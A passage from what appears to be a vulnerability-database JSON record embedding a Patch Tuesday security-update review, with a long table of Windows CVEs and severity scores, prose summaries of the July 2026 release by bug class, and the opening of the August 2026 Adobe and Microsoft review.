Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:01:44.404804Z"}, {"uuid": "be8b68b1-fde2-4ac1-8323-c47aed65d064", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54123", "type": "seen", "source": "https://www.thezdi.com/blog/2026/8/11/the-august-2026-security-update-review", "content": "I\u2019ve successfully survived Hacker Summer Camp, and I have returned with a new outlook on patch density. When even Linus Torvalds says that huge updates are the \u201cnew normal\u201d, it\u2019s time to readjust what we consider a true bug apocalypse. This month\u2019s release is thankfully smaller than last months, but still huge by historical standards. Take a break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for August 2026\nFor the first part of the August release, Adobe released five bulletins addressing 51 unique CVEs in Adobe ColdFusion, Commerce, Lightroom Classic, Content Credentials SDK, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\nAdobe Patches for August 2026\n\n\n\n  \nAdobe Patches for August 2026\n  \n\n    \n      \n        Bulletin ID\n        Product\n        CVE Count\n        Highest Severity\n        Highest CVSS\n        Exploited\n        Deployment Priority\n      \n    \n    \n      \n        APSB26-90\n        Adobe ColdFusion\n        15\n        Critical\n        10.0\n        No\n        1\n      \n      \n        APSB26-123\n        Adobe Campaign Classic\n        